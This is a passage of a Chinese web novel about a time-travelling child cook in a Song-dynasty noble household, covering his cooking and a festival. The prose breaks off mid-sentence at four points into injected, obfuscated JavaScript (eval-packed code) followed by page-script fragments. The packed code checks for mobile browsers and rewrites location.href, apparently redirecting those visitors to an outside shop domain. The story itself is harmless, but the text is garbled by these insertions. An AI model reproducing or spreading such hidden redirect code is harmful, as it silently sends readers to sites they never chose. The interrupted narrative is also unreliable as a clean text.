他怎么……怎么这么能哭啊！ 林霜降哭起来没有太大的声音，像受伤小动物呜咽，细弱的肩膀在衣衫下轻轻颤抖。 那双本就圆亮的杏眼被泪水浸得如同水洗过般，浓密的睫毛被泪珠黏成一簇一簇的，看起来难过极了。 李修然看着他，感觉心脏像在被一只大手反复揉捏，酸涩得厉害，好像林霜降流下的那些眼泪不是滴落在地，而是啪嗒啪嗒砸进他的心里，晕开一片深色痕迹。 这是他从来没有体会过的情绪。 林霜降哭得实在可怜，一旁的景明也有些看不下去了，打算过去安慰几句，让林霜降别哭了，若是不成，便想着先让他出去。 在二哥儿面前哭个没完实在很不像话，也不合规矩。 谁知，景明还没走出几步，李修然便觉察出他的意图，递了个警告的眼神过来，示意他不要乱动。 “……”景明：忽然觉得自己很多余。 李修然已经想好该怎样哄林霜降了。 他抿了抿唇，上前几步，动作轻柔地将抽噎不止的孩童搂在怀里，轻轻晃了晃。 小时候他闹脾气哭闹不停，或者心情不虞情绪低落时，阿娘总会将他这样搂在怀里，轻轻摇摇晃晃，李修然喜欢这样，每次都能成功多云转晴。 阿娘说，兄长比他省心多了，从来没有被她这样哄过，他是阿娘唯一这样抱过的小孩。 现在，林霜降也成了唯一被他这样抱过的小孩。 看着眼前的场景，景明不可置信地瞪大眼，越发笃信明日太阳会从西边升起了。 他何时见过二郎这般温柔近人的模样？ 从来没有！ 被李修然突然抱住，林霜降怔愣一瞬，而后便奇迹般地慢慢平静下来。 李修然并非寻常富贵人家里贪吃饱足的大胖小子，尚未长开的身体健康偏瘦，抱起来略微硌人，和从前抱过他的人都不同，不像姨妈和上辈子的爸妈抱他时那么软绵绵的。 但同样都能让林霜降感到安心。 他在李修然怀里最后抽噎了几下，止住了哭泣。 意识到刚才发生了什么，林霜降马上从李修然怀中钻出来，垂头用袖子擦着眼睛道：“对不住二哥儿，是我僭越了。” 李修然好看的小脸上眉头皱起。 明明是自己主动将他抱住的，为什么他要说僭越？ 僭越的人明明是他呀。 但这些都不重要了，他有更想知道的问题。 “你方才为什么要哭？”李修然问道。 林霜降抿了抿唇，正欲编个什么理由蒙混过关，然后便听对面的小孩一本正经道：“你要和我说实话，是不是唬我，我可是能看出来的。” 林霜降：“……” 真的能看出来吗，一个八岁的孩子能精准识别出谎言？ 他八岁的时候好像没这么厉害。 但万一李修然就有这么厉害呢，他可不是普通的小孩子，是小阎王。 林霜降还担心着被打发出去的事，不想惹李修然生气，心一横便将想去厨院学活计的事如实说了。 李修然认真听完，露出一副恍然大悟的表情，小手一挥道：“我懂了，你莫要担心，我这便叫人去知会那厨工一声，日后你就不用做太多活计啦。” 林霜降：“……” 错了，全错了！ 他不是不想干活，恰恰相反，他想学到更多更好的手艺。 李修然完全理解反了！ 不必诉诸于口，李修然看着林霜降脸上欲言又止的表情，也意识到自己似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937208|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又错了。 果不其然，下一刻他便见林霜降后退半步朝他端正行礼，再开口语气也是前所未有的认真。 “承蒙二哥儿青眼，愿意将投壶教与我，只是厨院每日要点卯学规矩，切脍、辨柴、封火这些活计都需勤练，我想早日学成手艺，日后也好为二哥儿分忧，故而不敢耽误功课。” 怕自己这番话伤了小孩儿的心，林霜降又从袖中掏出个纸包：“这是我做的芝麻糖，很甜的，二哥儿玩投壶时可以拿来甜甜嘴。” 吃了他的糖就不会怪他了吧。 李修然怔怔地接过糖包，眼神里盛满困惑。 “你看那些惯会偷奸耍滑的老仆，哪个不是整天游手好闲等着发月银，生怕累着自个儿一点。你倒好，抢着往油烟子里钻。” 他语气虽然略带埋怨，却听不出生气的意味，林霜降放下心来，便不吝于与他剖白心迹，语气认真：“因为我想成为一名好厨子呀。” 李修然将他望了半晌，忽而明白了——林霜降喜欢在庖厨做事，就像他喜欢投壶那样。 如果有人死活拦着他不让投壶，他定要狠狠将对方打上一顿。 “你去吧。”李修然小声嘀咕，“记得把欠我的投壶都记在账上。” 林霜降闻言甜甜笑道：“好，我晓得了。” *** 还没到晚上，林霜降在李修然面前大哭一场的事就被瑛氏知晓了。 趁没人时，瑛氏偷偷将林霜降拉来问话，神色严肃地问他究竟发生了何事。 林霜降知道姨妈在担心什么，略去开头接过，只说了结尾：“已经无事了，二哥儿没生气。” 瑛氏果真放下心来，拍着胸脯心有余悸道：“没事就好，没事就好，你可不知我刚听说这消息时吓成了什么样，生怕你惹恼了二哥儿令他不快，将咱们娘俩给发落了。” 她压低声音：“霜降，既然二哥儿喜爱你手艺，你便隔三差五送些新奇吃食过去，紧着他喜欢的来。” 林霜降闻言忍不住吐槽：“姨妈之前还用我说不让我去招惹二哥儿。” “今时不同往日了嘛！谁能想到你竟有这般好厨艺，把二哥儿哄得这样好。”瑛氏道，“这小祖宗如今既肯垂青于你，你便好好哄着，把二哥儿哄高兴了，他指缝里漏点好处，够咱们娘俩受用一辈子了。” 林霜降心不在焉地点了点头。 其实，哪怕不为了这些，他也很愿意给李修然做好吃的。 12. 卤蛋 李修然果真信守承诺，之后的日子不再拉着林霜降投壶，也真的都记在账上，每回见林霜降都要拿出小本本给他看。 望见初现筋骨的字迹在上面认真写下年份月日，以及那句“林霜降欠我投壶一次”，作为债本中的主人公，林霜降很有些哭笑不得。 李修然若是想和谁玩投壶，大把大把的人供他挑选，为什么非要缠着他呢？他又不是个中好手，甚至连箭矢都没摸过。 林霜降想不明白，只能归结为小孩子的心思好难猜。 不管怎样，他总算能全身心投入到心心念念的大厨升级之路，今日学了挑水桶、砍柴斧、扫地笤帚的用法，还有些防火常识：柴火堆需远离灶口，不能有火星溅到，以及灶边备好沙土。 宋代没有灭火器，沙土就是主要灭火工具。 便是在后世着火也是相当危险的事，更何况此时工具不足，房子若真起火，杀伤力更强。 林霜降想想都觉得可怕，想以后他做活一定更要认真细致才是。 还有些简单的卫生要求，比如接触食材前需认真净手，用过的工具需用草木灰水清洗再晾干归位；残食及时倒掉，以防引来老鼠。 这都是些不能再基础简单的活计，但林霜降依然学得认真，且也都完成得很是出色。 只有一样不大行。 他力气小，做挑桶砍柴之类的活计难免不如旁人，别人都砍完好几捆柴火在旁边休息了，他还在吭哧吭哧砍木头。 好几回袁厨工都拧着眉头望着他欲言又止，只是顾及着李修然，到底什么都说不出口，不敢怒也不敢言，都快把自个儿憋屈坏了。 林霜降心知急也没用，这种力气活岂是一日之功，便有条不紊地将木柴砍好，攥着姨妈给他预备的帕子擦汗。 这时，边上忽然有个小童鬼鬼祟祟跑来，悄声对他道：“霜降，我瞧见袁厨工方才解手去了，他便秘，向来要在茅厕里待好长时间！这段时间我便帮你将剩下的柴火劈了，等他回来，就能瞧见你已经将木头砍好了。” 这孩子是与他差不多时候入府的烧火童，名叫常安，林霜降与其他人熟络，但常安与他年岁家世都相仿，又是个自来熟的热心肠，林霜降和他最为交好。 听了常安的话，林霜降连忙出言婉拒，对方却以“别叫袁厨工听见动静把咱们两个都罚了”为由，不由分说地扛起锄头劈起木柴。 林霜降拒绝不得，只好将常安谢了又谢。 “客气什么！霜降，你小小年纪便如此厨艺过人，是有大本事的人，本就不该被这些繁琐的下等活计磋磨。”常安边砍边小声对他说，“幸而袁厨工也不是个有条理的人，过几天就会换个新花样，不会让咱们一直砍柴。” 不多时，属于林霜降的那几捆木柴都被常安砍好了。 又过了约莫半炷香的工夫，袁厨工一脸餍足地从茅厕出来，看见林霜降脚边劈好的柴火，觉得意外，但瞧着又挑不出错处，便只好转悠着瞧了一圈其他人的，稍微指点了几句发力角度云云便让发话众人散了。 周围的小童们稀稀拉拉散开，林霜降没马上走，叫住了常安——常安这回帮了他的忙，他自然是要回报的。 回报的东西他都想好了，他年纪幼小身无长物，唯有一点厨艺还算拿得出手，便分他些好吃的吧！ 得知林霜降要给自己做吃食，常安高兴得恨不得从地上蹦起来：霜降做的吃食能让一贯难伺候的二哥儿赞不绝口，他何德何能，竟也能吃到了！ “真的吗霜降，你当真要把吃食分与我？你真是太好了！” 被大肆夸赞了好一通，林霜降很有些不好意思，解释道：“不过是肉锅卤的几个鸡子，你莫要嫌弃就好。” 今日是李国公府一月三度下人们吃肉的日子，让这群婆子女使围坐在一起香喷喷地吃肉，是其他勋贵府中都没有的福利。 自打那日李修然吃了他做的猪肉小笼包，国公府上下便对猪肉没先前那么排斥，下人们每月三次吃肉日吃的肉也从蒸鸡改成了炖梅花肉排骨。 林霜降无心插柳柳成荫，倒给自己谋了个方便。 吃肉前，他特意在肉锅里放了几枚煮熟剥好的鸡蛋——肉锅里卤出来的鸡蛋是最好吃的鸡蛋。 常安没吃过肉锅里的卤蛋，光听林霜降说便忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937209|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住流起口水，林霜降看着他的馋样忍俊不禁，偷偷将他拉到厨院门口，大方地分了三枚蛋给他。 卤蛋一出锅就被林霜降包了纸包揣在怀里，被体温一路熨帖着，此时仍然温热，剥开壳子的蛋白光滑紧致，酱色的纹路刻印其上，香味扑鼻，细闻竟还有丝丝缕缕的肉香。 常安迫不及待，张口便是大半颗蛋进了嘴。 蛋白吸足了肉汁的醇厚脂香，蛋黄也被浸透了，绵密沙软，里头带着一点点的湿，吃来口感正好，丝毫没有干噎之感。 常安吃得都快吮手指了，边往嘴里塞蛋边含糊不清地道：“霜降，也就只有你能想出在肉锅里放鸡子的主意了，真好吃！” 他以前吃过酒糟卤出来的糟蛋，蛋香醇厚，有股子独特的酒香气，当时便觉得这就是世上最好吃的蛋，然而现下吃了林霜降做的卤蛋，他才知道什么是天外有天，蛋外有蛋。 吃完蛋，常安意犹未尽地向林霜降许下承诺：“霜降，下回我还要帮你砍柴。” 这样就还能吃卤蛋了。 林霜降忍不住笑了。 他尝这蛋也觉得不错，心想下回再做个虎皮蛋或溏心款，就更好了。 他与常安边吃边聊，说说笑笑，丝毫没留意到有人来了。 李修然那日瞧见林霜降费力拎着装虾馄饨的食盒，那食盒都快有他三分之一那么大了，他小小一个人如何拎得动？此番便不打算叫饭，直接来和他一起吃。 刚迈进厨院大门，李修然就瞧见林霜降捧着半枚鸡子，小口小口地吃，仿佛某种小动物进食。 李修然不自觉露出笑容，然而嘴角还没翘起到一半，就看见林霜降旁边有个傻了吧唧的小孩，咧着嘴也在吃蛋，蛋黄都沾到嘴角了。 李修然一瞬间便什么都明白了。 林霜降和别的小孩玩，还给他好吃的！ 他都还没吃过呢！ 李修然紧了紧口袋里的小册子，很是生气，一会儿他就要在上面写林霜降欠他一枚卤鸡子！ 似是感受到过于灼人的目光，林霜降忍不住扭头，就见李修然站在廊下，已经气成了一只河豚。 13. 烤肠 瞧见李修然来了，常安朝他行礼后便飞也似的逃了，其余站在远处闻着卤蛋香味、想要向林霜降讨一杯羹的小童们也都作鸟兽散。 本朝初年，洛阳一带流传有“帽妖”出没的说法，传言说这东西形如黑帽，能化作狼形闯入民宅作恶，孩童最是惧怕这种东西，一听闻相关传言或是看到疑似身影，便会吓得狂奔躲避。 林霜降觉得李修然就很适合扮演这种角色。 他也想跑路，但李修然一直目光灼灼地盯着他，他想跑都跑不了，只好囫囵嚼几下将剩下的卤蛋吞进肚子，乖顺上前行礼。 “二哥儿。” 李修然生气的样子十分明显，林霜降一眼就瞧出来了，心中不解：他为什么生气，谁惹他了？ 正想着，林霜降便听李修然问道：“你方才吃的是什么？” 他如实回答：“回二哥儿的话，是卤鸡子。” 李修然又问：“那小童——” 他不知道常安的名字，事实上，府上所有人姓甚名谁对他来说都无关紧要。 只有林霜降例外。 “那小童吃的，也是你做给他的？” 这问题好生奇怪，但觑着某只李姓河豚的神色，林霜降思忖片刻还是实话实说了，说严格来说不能算做，只能算他分给常安的。 但李修然还是不高兴，不管怎样，卤鸡子都是从林霜降手中到那小童手里的。 林霜降都没有分给他卤鸡子！ 李修然越想越生气，神色肃然，配上那张还带着婴儿肥的稚嫩脸蛋毫无威慑力，但还是令在场众人都感受到他身上散发出的低气压。 林霜降心中越发茫然，还没琢磨明白李修然生气的原因，便听他气鼓鼓地开口：“我也要吃。” 林霜降眨了眨眼。 这卤蛋是从下灶的锅里捞出来的，李修然如何能吃得？若是他贸贸然真将卤蛋给了李修然，主君知晓此事若不怪罪还好，一旦怪罪起来，怕是连姨妈也要受到牵连。 李修然想得简单，他却不能。 但孩子还是要哄的。 沉思须臾，林霜降抬眸扬起笑脸，温声和李修然商量：“我给二哥儿重新做道吃食可好？” 李修然原就是想让林霜降亲手为他做道吃食，至于具体是什么，他并不在乎，只要是林霜降给他的便好。看着林霜降弯着眼睫、灿若明霞的笑脸，他没怎么犹豫便点头“嗯”了一声。 没想到李修然竟意外地好说话，林霜降松了口气，又说了几句客气话便往大厨房去了，谁知还没走出几步，就听到一阵亦步亦趋的脚步声。 他歪头一看，就见李修然挺着胸膛、负着小手，竟是跟着他一起来了。 林霜降一时卡了壳：“二、二哥儿是要和我一同去厨房吗？” “是啊。”李修然仰脸朝天，答得坦然，“我想看你。” 林霜降沉默了。 片刻，他开口，试图劝退对方：“厨房人多杂乱，油烟无眼，二哥儿是金尊玉贵的身子，若是烫到了该如何是好？” “烫不到的。”李修然毫不在意，“我若烫到了，便与爹爹说是不小心弄的，绝口不提旁的半个字，怎么样？” 林霜降担心的就是这个，但既然李修然主动给他开了免责声明，那便没什么好怕的了，松了口气笑道：“多谢二哥儿体恤。” 李修然将他望了片刻，忽然笑起来。 方才还推三阻四不情不愿，听到他把责任揽到自个儿身上后倒答应得十分痛快，这小糯米团子还真是谨慎。 如此细腻的心思，倒是与七岁的年纪不大相符。 李修然思索片刻，心想，罢了，他的厨艺也和年纪不符。 李修然必须承认，长这么大以来，他从未见过林霜降这样的人。 林霜降不知他在想什么，正认真思索待会儿要给李修然做什么吃食，和他一前一后进了大厨房。 此时恰逢饭点，正是大厨房一天之内最繁忙的时候，屋内的温度比外头要高出好几度，湿度也大，湿热的水蒸气扑在脸上，仿佛能在眉毛、睫毛凝成水珠。 看见林霜降，大厨房内众人自是不感到稀奇，但看见李修然可就是件稀奇事了，这小菩萨何时进过厨房地界？ 李修然当即便受到了前呼后拥的优待。 “哎哟我的天爷，二哥儿怎么来了！” “二哥儿可是肚子饿了？想吃什么？奴这便给您送到房里！” “二哥儿……” 被此起彼伏的问候声嚷得心烦，李修然眉头不悦地皱起，小脸也沉下来。 换做平时遇到这种情况，他定马上头也不回地走人，但想到林霜降就在这里，而且待会儿还要亲手做吃食给他，他的步子便挪不动了。 他不耐烦地挥退众人：“都散了，别来烦我。” 众人忌惮着他，却又舍不得放过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937210|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千载难逢的卖好机会，有几个胆子大的上前试探：“二哥儿……您别生气，奴就是担心您站着累，要不奴给您搬个胡床来？” 李修然这回没马上赶人走，沉默片刻，忽然道：“你去给林霜降搬一个。” 那人：啊给做饭的人搬吗？ 那还怎么做饭？ 另一边，早在李修然被众人围作一团时，林霜降便已摩拳擦掌准备起了吃食。 他这回要做的是烤肠，这东西堪称哄孩子神器，用来哄小孩一哄一个准，吃了烤肠，李修然大约就能消气了。 虽然他还没明白李修然为什么生气。 林霜降烤肠用的是猪前腿肉，二肥八瘦，一半剁成细细的肉糜，剩下剁成有扎实嚼头的带肉粒肉馅，如此吃来便能口感丰富。 调馅时，盐、糖、胡椒粉按比例撒进肉馅，淋上葱姜汁子与黄酒，再用筷尖挑几点蜂蜜添进去，香气浓郁。 宋人已有吃肠的习惯，水熬煮法做出来的羊白肠便是其中之一，吃来大肠滑嫩、小肠爽脆，有诗句曾赞称“肚肺鳝鱼羊白肠，批切羊头鲊脯香”。 除去羊白肠，还有羊血肠、腊肠、羊盘肠、驴板肠、手掰肠……各种种类不一而足。 正因宋朝人民喜爱吃肠，各家各户便时常备着肠衣，勋贵人家也要吃五谷杂粮，自然也不例外，庖厨内的肠衣都是已经过精细处理的，洁白柔软不见腥味。 林霜降还是头一次实打实近距离瞧见肠衣这东西，忍不住多摸了几次感受细腻触感，才按照记忆中书上的做法开始灌肠，在肠衣尾部紧紧打了个结，一手扶着，另一手慢慢推压馅料，灌到八分满就停，烤时便不会胀裂。 几根灌完，林霜降便觉着成就感满满。 棉线扎结、细针戳孔，再刷层蜂蜜水就能进炉烤制了。 这时候的烤炉还是老式窑炉，由窑门、燃烧室、窑床等组成，个头极大，都快有林霜降一个人那么高了，林霜降不大会操作，好在有专管炉子的人，他只需嘱咐何时翻面、何时出炉便可。 安顿好各项事宜，林霜降偏头望了一眼。 原想着李修然看见做饭的这些琐碎流程必然会觉得无趣，应该已经去做其他事了，却没想到对方仍然像刚进来时那样，站在不远处瞧着他，目光极为专注。 林霜降和他对视一眼，缓缓扭过头来，抿了抿唇，思索。 李修然他……他是不是也想当个厨子？ 14. 过节 李修然这边也是一直没闲下来。 刚将厨房里围在他身边的人按消停了，屋里又源源不断有人过来问东问西，问他是不是渴了、饿了、身子不爽利了…… 李修然烦不胜烦。 好容易把所有人都打发走，林霜降为他准备的吃食也做好了。 用竹签子串起的几根肉肠，并排摞在银盘里，肠身圆润鼓胀，一看便灌满了肉，有几处已烤得炸开了花，油亮焦香，隔老远都能闻见浓郁的肉香。 林霜降端着盘子走来，笑意盈盈，“这是我给二哥儿做的肉肠，刚从窑炉拿出来的，二哥儿可要趁热吃。” 被浓郁香气一扑，在场众人都不约而同咽了咽口水，心道这小童果然厨艺出众，能将豕肉拾掇得这般浓香。 不过他们也关心另一件事：这肉肠瞧着卖相是不错，只是摆盘过于简单，连个胡萝卜雕花都没摆，如何能入得了二哥儿的法眼？ 要知道，二哥儿在吃食方面秉性挑剔，这样粗陋的吃食，断不会—— 念头还没在脑子里过完，人们就见一贯挑剔难搞的二哥儿伸出小手，捏住竹签，张嘴对着油光锃亮的肉肠啊呜便是一大口。 因着林霜降特意叮嘱过，肉肠烤得火候正好，肠衣又薄又脆，随着咀嚼，油脂和肉鲜一股脑在嘴里散开，带着香料的咸香和一丝丝甜津津的蜜味儿。 肉香满口，令人满足极了。 李修然三五口就将一整根肉肠吃进了肚，舔舔嘴唇，又去摸下一根竹签。 好好吃，林霜降怎么这么会鼓捣吃食。 想到这是林霜降特意给他做的，李修然吃得更欢实了。 见他一口接着一口，林霜降越发确信烤肠从古到今都是哄小孩神器，正想着，便听李修然咬着肉肠忽然问他：“你给别人也做过这个吗？” 林霜降一愣，随即摇头。 烤肠是高油脂高热量食物，上辈子他自从生病后就很少吃了，更别提做，认真算来，这还是他第一次做烤肠。 听了这话，李修然肉眼可见地更高兴了，原本不甚平顺的心情被抚平，脸上露出点难得一见的笑模样。 他弯着嘴角道：“我知道了。” 林霜降看了他片刻，心中忽然升起一个不可思议的念头。 李修然该不会是因为他分了常安几枚卤蛋，没分给他，这才生气了吧？ 思来想去，林霜降觉得确实是这个原因，毕竟，他不可能在其他方面得罪李修然。 证据确凿，林霜降仍然觉得难以置信。 就因为没分给他吃食就生气吗？ 这小孩好护食。 不过话说回来，得知李修然生气的真实原因是这个，林霜降大大松了口气。 只要他以后多给李修然做点好吃的，李修然就不会生气了吧。 *** 二月将至，国公府后园悄然换上春装。 假山边，一片青茸茸的草尖钻出来，为原本枯黄的草甸铺上碧色薄毯，柳树垂下千万条鹅黄丝绦，偶有早莺穿过其间，撒下一串清脆啁啾。 不知不觉，林霜降来到国公府的第一个节日中和节便要到了。 中和节是宋时的特色节日，自前朝确立，寓意“顺时行令，调和阴阳”，这一日，人们不光要农事祈福，还要亲友应酬、饮食雅趣，以此换季迎春。 为庆贺中和节，一大清早，林霜降便将亲手缝制的春衣给瑛氏送过去，还说了好几句“迎春纳福”“添寿安康”的吉祥话。 林霜降性子温吞内敛，若非逢年过节鲜少会说这些寓意浓烈的话，故而从他嘴里说出来的吉祥话显得格外珍贵悦耳。 瑛氏边听边瞧着那颜色素雅、贴合气候的衣料，笑得合不拢嘴。 “这新制春衣呀向来是晚辈赠与长辈，你也算是很有孝心了，虽说这针脚还不如你姨母我，但以你现在的年岁能裁剪出这般衣裳，已是很不错了。” 林霜降前世没看过裁缝方面的书籍，不会缝衣服，这手功夫还是穿过来后和姨妈学的。 姨妈当时还不乐意，说什么他一个小哥儿怎好学女孩家的这些玩意，林霜降却是很无所谓。 技多不压身嘛。 诚如瑛氏所说，她确实是裁剪衣服方面的个中好手，林霜降虽有不及，但依照他的年岁也很是未来可期。 给姨妈送完春衣，林霜降又去换府里新发下来的衣服——换季了，国公府的僮仆们没法继续穿先前的衣服，便有了这两三身春衣。 新绿色调，统一样式，不像那些苛待下人的人家将料子敷衍了事，贴在皮肤柔软舒服。 在林霜降看来，这种衣服就和学校发的校服差不多，他从前几乎没有穿校服的机会，得到这几件新衣服发自内心觉着开心。 穿上新衣，林霜降刚出门，就被一群同样身着绿衣的小童包围了。 “霜降，这是我做的生子，里面装了些瓜果种，你拿着，愿咱们今年都事事如意！” “我装的是咱们府里田庄的种子，希望今年府上也能五谷丰登，我们也好跟着沾沾福。” “霜降霜降，中和安康！” 小童们边说边将一个个鼓鼓囊囊的青色布袋子往林霜降面前递。 这便是中和节的另一个习俗“献生子”，装在青囊布袋里的稻、黍、稷、麦、菽等粮食作物，搭配桃、李、瓜之类的瓜果种子为“生子”，邻里亲友间互赠献送，共同祈福。 入乡随俗，林霜降自是做了不少生子，本想着等午食大家都不忙时再一一分送出去，没想到大家如此热情，一大清早就把他淹没在了青布袋子里。 他抿着笑一一接过，捧了满满一怀，小跑着回到屋里，把做好的生子分给他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937211|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他做的生子与传统不大一样，除去百谷瓜果种子，里面还装有不少零嘴小吃，都是平日里他自己鼓捣的。 米粉松仁碎和白糖蒸制的松子糕、蒸熟去皮板栗捣烂晾干后切成小丁的栗糕丁、炒熟的小麦粉添糖揉成的炒麦粉团，还有糖霜山楂、蜜浸枣、香炒杏仁…… 数量不算太多，但种类丰富，一样装上一点便满满当当装了一袋子。 收到的小童们都可高兴了，一个个捧着布袋爱不释手。 “过了这么多年中和节，霜降送的生子是最合我心意的！” 林霜降笑了笑，很能理解——试问，哪个小孩子能不喜欢装得满满的零食袋呢？ 几个小童欢欢喜喜对着林霜降做的小零嘴研究，又热闹地吃了会子，这才去做正事了。 逢年过节，各家各户都会备上一桌上好宴席，中和节又是开春头一个节日，更要认真对待，大厨房这几日一直忙于席面的事，可谓是忙得不可开交。 大厨房忙，作为大厨房一员的林霜降自然也忙，刚到地方便投入到源源不断的活计当中。 虽然忙，但因为做的都是喜欢的事，林霜降很是兴味盎然。 他高兴，李修然确是恰恰相反。 临近中和节这几日，他回回来找林霜降对方都在忙，李修然每次都只能瞧见那颗埋头干活的圆圆的小脑袋，心里头不高兴极了。 偏偏他还不能发作——林霜降说他喜欢做这些事，他想要成为一名大厨。 李修然恨不得给他改个志向，把“成为一名大厨”改成“成为一名闲汉”。 这样林霜降就能和他一起玩，不会再拒绝他了。 听闻李修然这边吃了闭门羹，李游倒是高兴了，轻而易举便将平日里寻不到影的小儿子捉过来吃中和羹。 中和羹是中和节的特色饮食，吃来有调和五脏、顺应春气的说法，羊肉、糯米、葱白、生姜煮制而成，味道温润清和。 心知自家小儿子不喜食羊肉，李游特意让人做了更适合李修然的版本，用豆腐、菌菇、笋尖来替代羊肉。 吃了节令食物才能更好感受节气，李游看着扒拉着中和羹吃的李修然，觉得他难得乖顺安静，便为他讲起中和节的由来。 一番从古至今的论述过后，他总结道：“……因这份中和之道，二月的春光也多了许多温润绵长。” 讲至深处，李游不禁心下动容，看着一直没说话的小儿子，以为他也有所感怀，便心怀期冀地问道：“修哥儿，你有何感受。” 李修然满脑子都是林霜降为着中和节宴推诿自己的样子，听到问话，抬眼看向他爹。 “爹爹。” 见他神情专注，李游还以为他要作述一番，满含期待地应答一声。 然后便听李修然稚声道：“我讨厌中和节。” 李游：“……？” 15. 蛋挞 最后，李修然被李父罚抄了二十遍中和节的由来。 当天晚上李修然就做了个梦，梦里给他讲道理的人从亲爹变成了林霜降，林霜降肃着一张白嫩小脸，宛如一个小学究般对他娓娓道来。 “设于二月初一，名中和，取调和阴阳、顺时安人之意，填补节令空白，借节日倡导农桑……” 李修然一时分不清这是噩梦还是美梦。 醒来之后，他忍不住想，这辈子大约都忘不了中和节了。 林霜降没时间去李修然梦里念叨中和节的来历，正忙着做太阳糕。 和中和羹一样，太阳糕也是中和节的节令吃食，甜口，糯米粉、粳米粉、白糖、蜂蜜蒸制而成，来历也很有趣——宋人认为二月初一这日是太阳生日，为给伟大的太阳神庆贺生辰，太阳糕便应运而生。 太阳糕就是太阳的生日蛋糕。 除此之外，人们还会很有仪式感地在糕饼上面印上太阳纹，林霜降听常安等人说，国公府的太阳糕做得更为精致，还会用模具压出象征太阳的三足金乌呢。 统管全府席面的是大厨房的掌勺大厨，姓卞，人称卞大厨娘，做起事来一丝不苟，每年的太阳糕都能做出花来，生肖纹样、花鸟果蔬、分层叠花……各种款式应有尽有。 谁知今年却遭遇瓶颈。 林霜降瞧见卞厨娘这几日做了好几种不同样式的太阳糕，但看了成品都不大满意，气压低沉，连带着大厨房的人也跟着提心吊胆。 林霜降原没想着此事会与自己扯上关系，今日却突然想到：太阳糕——甜点、圆形、橙黄色、像太阳。 那不就是蛋挞吗？ 想到上辈子吃过的那些奶香浓郁、香甜可口的蛋挞，他越发觉得契合主题，连蛋奶上面烤焦的焦糖斑块都和太阳黑子那么相似。 本朝还没有类似蛋挞的糕品，描述起来有一定困难，但林霜降思来想去，还是告诉卞厨娘。 大厨房的事就是他的事。 按理说，如他这般的烧火童本不能直接与掌勺主厨对话，好在托李修然的福，如今这事行进起来也没那么困难。 恰巧卞厨娘也是个懂惜才、肯纳谏的，听了林霜降的稀奇想法，虽然内心迟疑却并未一口拒绝，只让他先做出来打个样看看。 得到如此信任，又是时间紧任务重，林霜降便也拿出一万个仔细来对待，认认真真将记忆中蛋挞的做法先誊写出来，而后才动手。 做蛋挞，需用到的无非是蛋面奶糖，再加一样油酥。 面粉就不必多说了，大厨房常年备着新磨的精白面粉，林霜降取来添温水揉成软面团，这面团要比寻常馒头面更软些，如此才能擀出薄如蝉翼的酥皮。 盖上湿布放一旁醒着，之后便开始搅蛋液。 在宋朝，像李国公府这样的顶级贵族府邸日常所食的蛋都很是不同，除去常见的鸡鸭禽蛋，林霜降还在木架上瞧见了雉鸡蛋、鹧鸪蛋、大雁蛋之类的野味蛋。 他看着花色不一、大小不同的各种蛋，恍惚间还以为自个儿来到了什么鸟蛋博物馆。 林霜降没吃过野味蛋，不知是何滋味，想着万一有奇怪的味道就不好了，是以最终还是选择了最保险的鸡蛋。 便是最基础常见的蛋，国公府选用的也是散养在桑园，以桑叶、虫蚁为食的桑下鸡所产的蛋，比普通笼养鸡蛋更鲜香，蛋黄也是十分浓郁，橙红如日头。 也是巧，这样肖似太阳的蛋，就要做成太阳的生日蛋糕了。 林霜降时常能瞧见大厨房用这蛋来做蟹粉炒蛋、肉茸蛋卷，蛋香扑鼻，想来做成蛋挞味道定然也是很好的。 他将蛋液打散，从糖罐子里舀出几勺糖，金黄蛋液裹挟着洁白糖粒，大勺搅匀，又慢慢添进温凉牛乳。 牛奶含有优质蛋白，林霜降上辈子便在爸妈监督下养成了每日一杯牛奶的习惯，穿越后还带着，有天早晨他醒来还以为身处二十一世纪，迷迷糊糊和姨妈讨牛奶喝。 